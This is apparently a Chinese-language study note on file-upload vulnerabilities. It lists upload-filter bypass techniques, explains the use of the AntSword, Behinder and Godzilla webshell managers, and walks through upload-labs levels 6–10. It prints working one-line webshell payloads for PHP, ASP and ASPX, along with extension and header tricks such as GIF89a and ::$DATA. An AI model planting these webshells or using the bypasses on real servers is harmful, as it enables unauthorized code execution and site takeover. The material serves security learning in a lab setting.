1. 文件上传防御手段及绕过手段总结
1.1 客户端javascripe验证机制
客户端将会会对上传的文件格式进行一个检查。一般都是利用用户的浏览器前端页面上使用javascripe对数据包进行检查过滤,将不符合过滤规则的数据包禁止发送到服务器段。这一种方式一般最好绕过的,所有前端的验证机制都是不安全的,毕竟用户可控!!
绕过方法:
1、使用浏览器的插件,将对应的JS代码禁止或者删除即可;
2、首先将需要上传的文件改成合规的后缀,而后利用burpsuite等抓包工具,在发送的数据包里再进行更改。这样子也可以绕过前端的JS验证。
1.2 服务器端MIME类型验证
MIME类型是描述消息内容类型的因特网标准。如果服务器端代码是通过Content-Type的值判断文件类型,那么我们就可以利用抓包修改进行绕过了。
绕过方法:使用抓包工具修改Content-Type的值就可以绕过检测。
1.3 大小写绕过
在Windows系统下对于文件的大小写是不进行区分的,因此如果黑名单中没有强制进行转化为统一的小写的话,那么利用Windows作为服务器的普通很可能会因为大小写而进行绕过。
绕过方法:利用burpsuite的穷举功能可以成功发现 .phP 文件能够成功的绕过,那么就将要上传的php文件的后缀名修改为 .phP 进行绕过即可。
1.4 黑名单绕过
上传模块,有时候会写成黑名单限制,在上传文件的时获取后缀名,再把后缀名与程序中黑名单进行检测,如果后缀名在黑名单的列表内,文件将禁止文件上传。
利用中间件在某些特定的环境中,某些特殊的后缀名仍然会被当做php文件解析的特性,我们可以上传一些特殊后缀名的php文件。如phtml,phpx 这种文件,中间件会将其解析为php,那么就可以绕过一些黑名单限制。
绕过方法:上传图片时,如果提示不允许 php、asp 这种信息提示,可判断为黑名单限制,上传黑名单以外的后缀名即可。例如上传一些如.phtml,.php x 这种后缀名的文件能够上传成功。
1.5 双写后缀名绕过
在上传模块中,有的代码会把黑名单的后缀名替换成空,例如 a.php 会把 php 替换成空,但是可以使用双写绕过,例如 asaspp,pphphp,即可绕过限制进行上传。
绕过方法:因为是将 php 集体删除掉,那么双写的话要写的删除前,只检测到一个 php ,删除后的字符也能合成为一个 php (下次字典里面可以加上去这个),那后缀名可以改为 pphphp 来进行绕过。因为从刚刚的测验中可以发现,它是将所见的php从第一个 p 开始,到最后一个 p 这之间的 php 修改为空,那么在将 pphphp 中的php删除时,剩下的三个字符又可以拼成一个 php 绕过上传。
1.6 文件头检测绕过
有的文件上传,上传时候会检测头文件,不同的文件,头文件也不尽相同。一般情况下,常见的文件上传图片头检测,它检测图片是两个字节的长度,如果不是图片的格式,会禁止上传。这种就会避免掉我们将文件后缀名修改为 .jpg 格式然后配合其他操作进行上传绕过的手法了。
绕过方法:最简单的方法就是直接创建一个图片进行上传然后利用文件包含漏洞进行执行。也可以直接在文件的前面加上GIF89a进行文件头检测的绕过。( .jpg 和 .png 格式的文件头也是可以的,不过常用的还是很GIF89a,好记,而且简短)
2. 文件上传常用一句话木马
木马分为大马、小马和一句话木马:
小马:文件体积小、上传文件、文件修改、文件管理
大马:文件体积较大、功能齐全、能够提权、操作数据库等(不推荐)
一句话木马:短小精悍、功能强大、隐蔽性好、客户端直接管理(主流)
常见形式:
php的一句话木马:
<?php @eval($_POST['pass']);?>
asp的一句话木马:
<%eval request ("pass")%>
aspx的一句话木马:
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
3. 三种webshell管理工具的使用方法
3.1 蚁剑
1. 初始化
第一次安装项目需要先初始化,如果只下载了加载器,就选择一个空文件夹,加载器会自动帮你下载核心项目源码(如果你已经下载了核心源码,就选择项目源码的文件夹)。
等初始化完成后,再双击“AntSword.exe”即可正常启动!
2. 创建木马
3. 打开蚁剑连接,右键添加数据
4. 配置代理,与Burpsuite一致
5. 打开burpsuite,选中对应包进行流量分析
3.2 冰蝎
1.在安装路径cmd输入命令行 java -jar Behinder.jar
2. 右键新增,在新增Shell页面下添加数据,在URL地址处,填写木马文件的位置,并输入密码,一般为rebeyond
3. 代理-设置代理,配置代理服务,端口与burpsuite保持一致
4. 打开burpsuite,选中对应包进行流量分析
3.3 哥斯拉
1.在安装路径cmd输入命令行 java -jar godzilla.jar
2. 点击管理-生成,调制木马
选择上传位置到WWW
3. 点击目标-添加,右键添加数据
测试连接,成功则添加
4. 回到主页,右键数据目标点击进入:
5. 打开burpsuite,选中对应包进行流量分析
4. 文件上传无回显如何查找webshell地址
-
使用目录遍历技术:
如果有目录遍历漏洞,可以尝试利用该漏洞来访问上传的文件。 -
查看HTTP响应头:
检查上传请求后的HTTP响应头,有时候响应头会包含一些有用的信息。 -
查看错误信息:
如果服务器配置不当,可能会在某些情况下返回详细的错误信息,这些信息中可能包含有关文件位置的线索。 -
检查日志文件:
如果有权限访问服务器的日志文件,可以在里面寻找有关文件上传操作的记录。 -
使用搜索引擎:
在某些情况下,如果站点没有正确设置robots.txt或者没有对敏感内容进行保护,可能通过搜索引擎直接找到文件。 -
利用已知漏洞:
如果知道网站存在其他类型的漏洞,比如SQL注入等,可以尝试利用这些漏洞来获取WebShell的位置信息。
5. 文件上传表单的无参/有参情况下构造表单
文件上传表单通常用于让用户能够上传文件到服务器。在不同的场景下,根据是否有参数和其他要求,构造表单的方式也会有所不同。下面我将给出两种情况下的表单构造示例:一种是没有额外参数的情况,另一种是有额外参数的情况。
无参文件上传表单构造
当只需要上传一个文件并且没有其他参数时,表单可以非常简单:
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload">
<input type="submit" value="上传文件">
</form>
在这个例子中,action
属性定义了处理上传的服务器端脚本的URL。method
属性设置为 post
是因为文件上传通常使用POST请求。enctype
属性必须设置为 multipart/form-data
,这样才能正确地编码文件数据。
有参文件上传表单构造
如果有额外的参数需要与文件一起上传,可以在表单中添加相应的输入字段:
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="text" name="username" placeholder="用户名">
<input type="password" name="password" placeholder="密码">
<input type="file" name="fileToUpload">
<input type="submit" value="上传文件">
</form>
在这个例子中,我们增加了一个文本输入框和一个密码输入框,允许用户在上传文件的同时提交用户名和密码信息。
注意事项
- 安全性:确保服务器端对上传的文件类型、大小以及内容进行严格的验证,防止诸如上传恶意脚本或病毒等安全问题。
- 编码类型:一定要指定
enctype="multipart/form-data"
,这样浏览器才能正确地打包文件数据与其他表单数据一起发送给服务器。 - 后端处理:服务器端的处理逻辑也需要考虑到所有表单参数,包括文件和其他输入字段,并妥善处理这些数据。
6. upload-labs靶场通关第6-第10关
pass6(大小写文件名混淆)
查看源码,发现缺少strtolower()函数,可以使用大小写绕过
将文件后缀改为大写,上传成功
pass7(空格绕过)
这里观察源码发现少了$file_ext = trim($file_ext); //首尾去空
这一条处理语句。也就是说我们可以往后缀后面添加看空格尝试进行绕过。
在文件后缀名后加空格,成功上传
pass8(小圆点绕过)
这里源码里面又少了关于小圆点的过滤,思路同第七关我们继续进行绕过:
在文件后缀名后加点,成功上传
pass9(Win文件流特性绕过)
经过源码分析发现,未使用str_ireplace()替换字符函数去除 ::$DATA 字符。采用Windows流特性绕过,在这里意思是php运行在Windows上时如果文件名+::D A T A "会 把::DATA之后的数据当作文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,目的即不检查后缀名。
在后缀名中加”::$DATA,成功上传
pass10(点空桡过)
查看源码,deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
在文件后缀名后添加. .
,成功上传